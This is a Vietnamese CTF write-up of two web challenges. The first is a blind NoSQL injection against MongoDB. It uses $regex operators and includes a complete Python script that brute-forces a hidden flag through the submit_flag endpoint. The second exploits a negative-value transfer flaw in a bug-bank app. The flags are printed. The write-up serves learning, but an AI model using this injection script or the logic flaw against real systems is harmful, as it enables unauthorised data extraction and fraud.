# Web challenges
## 1. CTFC


Register và Login vô xem sao

Chỉ có mỗi 2 chall và solved cũng không được gì
Vô nghía source thử
<br>
Để ý có đoạn
```
def createChalls():
db.challs.insert_one({"_id": "28c8edde3d61a0411511d3b1866f0636","challenge_name": "Crack It","category": "hash","challenge_description": "My friend sent me this random string `cc4d73605e19217bf2269a08d22d8ae2` can you identify what it is? , flag format: CTFC{<password>}","challenge_flag": "CTFC{cryptocat}","points": "500","released": "True"})
db.challs.insert_one({"_id": "665f644e43731ff9db3d341da5c827e1","challenge_name": "MeoW sixty IV","category": "crypto","challenge_description": "hello everyoneeeeeeeee Q1RGQ3tuMHdfZzBfNF90aDNfcjM0TF9mbDRHfQ==, oops sorry my cat ran into my keyboard, and typed these random characters","challenge_flag": "CTFC{n0w_g0_4_th3_r34L_fl4G}","points": "1000","released": "True"})
db.challs.insert_one({"_id": "38026ed22fc1a91d92b5d2ef93540f20","challenge_name": "ImPAWSIBLE","category": "web","challenge_description": "well, this challenge is not fully created yet, but we have the flag for it","challenge_flag": os.environ['CHALL_FLAG'],"points": "1500","released": "False"})
```
Và
```
@app.route('/')
@check_login
def dashboard():
challs = []
for data in db.challs.find():
del data['challenge_flag']
challs.append(data)
chall_1 = challs[0]
chall_2 = challs[1]
return render_template('t_dashboard.html',username=session['user']['username'],chall_1=chall_1,chall_2=chall_2)
```
Có 3 chall nhưng chỉ show ra 2??
Và mình có thử thì biết rằng đầu vào là một json
```
{
"_id":"_id:1",
"challenge_flag":"CTFC{cryptocat}"
}
```
<br>
Ở đây server dùng MongoDB, đến đây mình ngờ ngợ phải chăng là 1 bài `nosql injection`??
Phải thử mới biết được
<br>

Một số toán tử truy vấn so sánh các bạn có thể tham khảo ở đây [link](https://www.mongodb.com/docs/manual/reference/operator/query/)
Mình có thử 1 toán tử truy vấn so sánh = là `$eq`, đại khái là dùng để so sánh bằng (so sánh chính xác) giữa một trường và một giá trị cụ thể


Bên trên là trước và sau khi dùng toán tử so sánh
Vậy là 100% dính `blind nosql injection`
<br>
Việc tiếp theo là dump flag của thằng chall3
Ở đây mình thay `$eq` thành `$regex`
Nôm na là sẽ so sánh flag với biểu thức chính quy của mình

Giờ chỉ cần viết script nữa là xong
<br>
Đến đây mình mất khá nhiều thời gian do mình chỉ test trước với 2 thằng chall1 và chall2 và tưởng format của flag là `CTFC{...}`
Và thằng bạn mình đi ngủ mất tiêu nên chả hỏi được format 😑
Loay hoay một hồi thì cũng viết xong script
```
#!/usr/bin/env python
import requests
import string
chars = string.ascii_letters + '_{}0123456789'
url = 'https://ctfc.ctf.intigriti.io/'
cookie = {
"session": "eyJ1c2VyIjp7Il9pZCI6IjJiNWY0ZjI5MGE4NTQ4Mzk4ZmEyNDUwY2EwY2RlN2QzIiwidXNlcm5hbWUiOiJhYmMxMjMifX0.ZVeXSQ.Tf0yIJNzUdO7HXNsIp36vpyKcTw"
}
headers = {
'content-type': 'application/json'
}
flag = "INTIGRITI{"
while True:
for char in chars:
print("trying: " + char)
json_data = {
"_id": "_id:3",
"challenge_flag": {
"$regex": f"^{flag}{char}"
}
}
r = requests.post(url + 'submit_flag', headers = headers, cookies=cookie, json=json_data)
if 'correct flag' in r.text:
flag += char
print(flag)
break
if '}' in flag:
break
```

Flag: ~~**`INTIGRITI{h0w_1s_7h4t_PAWSIBLE}`**~~
<br>
## 2. Bug Bank


Cũng không có gì đặc biệt lắm
Register và Login vào xem thử
<br>


Khả năng cao là cần `10000 bugs` để upgrade premium account và lấy flag
<br>
Mình có tạo thêm 1 account nữa để thuận tiện cho việc transfer bugs
Mỗi account ban đầu có `0 bugs`
<br>


<br>
Đến đây mình thử truyền vào số âm xem thử có được không


Ú là la, triển thôi 🤣
<br>
Transfer `-9999 bugs` và được

Nâng lên premium thôi

Flag: ~~**`INTIGRITI{h3y_wh0_541d_y0u_c0uld_cl0bb3r_7h3_d0m}`**~~